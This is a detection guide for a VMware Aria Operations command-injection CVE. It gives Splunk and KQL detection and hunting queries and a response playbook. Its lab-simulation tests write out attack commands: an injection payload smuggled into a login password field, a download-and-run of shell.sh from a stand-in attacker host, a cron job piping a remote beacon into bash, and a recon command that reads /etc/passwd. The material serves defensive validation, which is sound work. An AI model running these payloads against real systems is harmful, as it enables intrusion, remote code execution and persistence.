Detect CVE-2026-22719: VMware Aria Operations Command Injection in Splunk
Detects exploitation of CVE-2026-22719, a command injection vulnerability (CWE-77) in Broadcom VMware Aria Operations. This KEV-listed vulnerability allows attackers to inject and execute arbitrary OS commands through unsanitized input, potentially leading to full host compromise, lateral movement, and persistence within virtualized environments.
MITRE ATT&CK
SPL Detection Query
index=* sourcetype IN ("vmware:aria:log", "vmware:vcops:log", "linux:audit", "syslog") earliest=-1h
| eval parent_lower=lower(coalesce(parent_process, parentprocess, ppid_name))
| eval cmd_lower=lower(coalesce(command, cmd, process))
| where (match(parent_lower, "(?i)(vrops|vcops|aria|vmware-vcops)"))
AND (match(cmd_lower, "(?i)(bash|sh|python|perl|curl|wget|ncat|netcat|whoami|id\b|uname)"))
| eval severity="critical"
| stats count AS exec_count, values(cmd_lower) AS commands, earliest(_time) AS first_seen, latest(_time) AS last_seen BY host, parent_lower, src_user
| where exec_count > 0
| sort - exec_countDetects shell or scripting interpreter processes spawned as children of VMware Aria Operations services on Linux hosts, a signature of command injection exploitation.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Scripted maintenance operations initiated by Aria Operations as part of normal product functionality
- Authorized IT automation tools (Ansible, Chef, Puppet) that run shell commands from Aria Operations service context
- Diagnostic scripts run by VMware support during troubleshooting sessions
Other platforms for CVE-2026-22719
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated Aria Operations Command Injection via curl
Expected signal: Linux audit log EXECVE record for 'id' with ppid matching an Aria Operations web service process; file creation event in /tmp/ by the service account.
- Test 2Post-Exploitation Reverse Shell Staging from Aria Operations Context
Expected signal: Audit log EXECVE for bash and curl with parent 'sudo'; network connection from host to attacker-lab.internal on port 80; file creation event for /tmp/.aria_agent.
- Test 3Recon Execution Simulating Aria Operations Command Injection Output
Expected signal: Linux audit EXECVE records for id, whoami, uname, cat, ss all with uid matching the vmware service account; all spawned as children of bash.
- Test 4Persistence via Cron Injection Simulating Post-Exploitation
Expected signal: Audit log records for bash and crontab execution under vmware service account; file write to vmware user crontab spool (/var/spool/cron/crontabs/vmware).
Response Playbook
Triage
- Identify the host running VMware Aria Operations and confirm the product version against the Broadcom advisory at https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36947 to determine patch status.
- Review process tree on the Aria Operations host: look for shell interpreters (bash, sh, python) spawned directly by Aria Operations service processes (vmware-vcops, casa, vcops-watchdog) with unusual arguments or timestamps.
- Check network connections initiated by the Aria Operations process or its child processes — outbound connections on non-standard ports or to external IPs strongly suggest post-exploitation activity.
- Inspect Aria Operations application logs (typically under /var/log/vmware/vcops/) for anomalous HTTP requests, unexpected API calls, or error messages indicating injection attempts in input fields.
- Determine whether the exploitation yielded privilege escalation: confirm the effective UID/GID of suspicious child processes to assess blast radius.
Containment
- Isolate the affected Aria Operations host from the network immediately if active exploitation is confirmed — use hypervisor-level network policy or firewall rules to restrict outbound traffic while preserving the system for forensics.
- Suspend or disable the VMware Aria Operations web interface and API endpoints at the load balancer or firewall layer until the patch is applied, blocking further exploitation attempts.
- Rotate all credentials stored in or accessible to Aria Operations (monitored infrastructure credentials, vCenter service accounts, API tokens) as they may have been exfiltrated.
Evidence Collection
- Capture a full memory dump of the Aria Operations host and any spawned child processes using tools such as LiME (Linux Memory Extractor) or hypervisor snapshot before remediation to preserve volatile state.
- Collect and preserve Aria Operations application logs, system audit logs (/var/log/audit/audit.log), shell history files (~/.bash_history for service accounts), and any files created or modified in /tmp, /var/tmp, or world-writable directories within the exploitation window.
Escalation Criteria
- !Escalate immediately if lateral movement indicators are detected — e.g., the compromised host is making SSH connections, attempting vCenter API calls, or scanning internal subnets following the process injection event.
- !Escalate if a reverse shell or persistent backdoor (cron job, systemd unit, SSH authorized_keys modification) is identified on the Aria Operations host, indicating the attacker has achieved persistence beyond the initial injection.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
/var/log/vmware/vcops/ — Aria Operations application logs containing HTTP request details and error traces from injection attempts - >
/var/log/audit/audit.log — Linux audit daemon records capturing EXECVE syscalls showing parent-child process relationships - >
/tmp and /var/tmp — Common staging directories for dropper scripts or tools downloaded post-exploitation - >
~/.bash_history and /root/.bash_history for all service accounts — May contain commands run interactively during attacker dwell time - >
Network capture (pcap) on the Aria Operations host NIC during the exploitation window — Useful for reconstructing C2 beacon or data exfiltration traffic
Tuning Guidance
Start by whitelisting known Aria Operations service account usernames and any documented automation scripts that legitimately spawn shell processes. Correlate against a known-good baseline of Aria Operations child processes during normal operations — many VMware products call system utilities for health checks. If the environment has an application allowlist or HIPS solution, cross-reference allowed parent-child pairs to suppress benign detections. Increase confidence to 'high' once a verified baseline is established and false positive rate drops below 5%. Consider adding network egress correlation to boost fidelity: flag only those process-spawn events where the child process also establishes an outbound connection to a non-RFC1918 address.
Hunting Queries
Broad 7-day hunt for outbound network connections initiated by processes spawned from VMware Aria Operations services, used to identify beaconing or data exfiltration following command injection.
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName has_any ('vmware-vcops', 'casa', 'vcops-watchdog', 'python', 'bash', 'sh')
and InitiatingProcessParentFileName has_any ('vmware-vcops', 'casa', 'vcops-watchdog')
and not (RemoteIPType == 'Private')
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated descindex=* sourcetype IN ("linux:audit", "vmware:aria:log", "syslog") earliest=-7d
| eval parent=lower(coalesce(parent_process,ppid_name))
| eval proc=lower(coalesce(process,comm))
| where match(parent, "(?i)(vrops|vcops|aria|vmware-vcops|casa)")
AND match(proc, "(?i)(bash|sh|python|curl|wget|ncat)")
| iplookup dest_ip as src_ip OUTPUT isinternal
| where isinternal=false OR isnull(isinternal)
| stats count, values(proc) AS processes, values(src_ip) AS ips BY host, parent
| sort - countHunts for files written to world-writable staging directories (/tmp, /var/tmp, /dev/shm) by child processes of Aria Operations, a common pattern for dropper or tool staging post-exploitation.
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessParentFileName has_any ('vmware-vcops', 'casa', 'vcops-watchdog')
and (FolderPath startswith '/tmp' or FolderPath startswith '/var/tmp' or FolderPath startswith '/dev/shm')
and ActionType in ('FileCreated', 'FileModified')
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256, FileSize
| order by TimeGenerated descindex=* sourcetype=linux:audit earliest=-7d action=opened
| eval path=coalesce(name, path)
| where match(path, "(?i)^/(tmp|var/tmp|dev/shm)/")
AND match(coalesce(ppid_name, parent_process), "(?i)(vrops|vcops|aria|vmware-vcops|casa)")
| stats count, values(path) AS dropped_files BY host, ppid_name, uid
| sort - countAtomic Red Team Tests
Simulates an unauthenticated attacker sending a crafted HTTP request to the Aria Operations web interface containing a command injection payload in an input parameter. For lab use only against a non-production instance.
Command
curl -sk -X POST 'https://<aria-ops-host>/ui/login' \
--data-urlencode 'username=admin' \
--data-urlencode 'password=admin; id > /tmp/cve_2026_22719_poc.txt #' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-c /tmp/aria_cookie.txt | grep -i 'error\|success\|exception'Cleanup
rm -f /tmp/cve_2026_22719_poc.txt /tmp/aria_cookie.txtExpected Telemetry
Linux audit log EXECVE record for 'id' with ppid matching an Aria Operations web service process; file creation event in /tmp/ by the service account.
Expected Detection
SPL and EQL queries trigger on child process 'id' spawned from Aria Operations parent; KQL DeviceProcessEvents alert fires if Defender for Endpoint is deployed on the Aria host.
Simulates attacker behavior after successful command injection by mimicking a download-and-execute dropper pattern from the Aria Operations service account context.
Command
sudo -u vmware bash -c 'curl -o /tmp/.aria_agent http://attacker-lab.internal/shell.sh && chmod +x /tmp/.aria_agent && /tmp/.aria_agent &'Cleanup
kill $(pgrep -f aria_agent); rm -f /tmp/.aria_agentExpected Telemetry
Audit log EXECVE for bash and curl with parent 'sudo'; network connection from host to attacker-lab.internal on port 80; file creation event for /tmp/.aria_agent.
Expected Detection
Chronicle YARA-L and EQL sequence rules trigger on bash spawning from sudo under Aria Operations service account; network egress hunting query surfaces outbound curl connection.
Directly executes reconnaissance commands under the vmware service account to simulate the attacker's first actions after gaining code execution via command injection, without requiring a live vulnerable endpoint.
Command
sudo -u vmware bash -c 'id; whoami; uname -a; cat /etc/passwd | head -5; ss -tlnp' > /tmp/aria_recon_output.txt 2>&1Cleanup
rm -f /tmp/aria_recon_output.txtExpected Telemetry
Linux audit EXECVE records for id, whoami, uname, cat, ss all with uid matching the vmware service account; all spawned as children of bash.
Expected Detection
All SIEM queries (KQL, SPL, AQL, Sumo Logic) trigger on multiple recon binaries (whoami, id, uname) executing under vmware service account context within a short time window.
Simulates an attacker adding a cron job for persistence after achieving command injection on the Aria Operations host, a common next step following initial access.
Command
sudo -u vmware bash -c 'echo "*/5 * * * * curl -s http://attacker-lab.internal/beacon.sh | bash" | crontab -'Cleanup
sudo -u vmware crontab -rExpected Telemetry
Audit log records for bash and crontab execution under vmware service account; file write to vmware user crontab spool (/var/spool/cron/crontabs/vmware).
Expected Detection
Process hunting queries surface crontab modification under Aria Operations service account; file integrity monitoring alerts on crontab spool modification; Chronicle rule triggers on bash parent spawning crontab.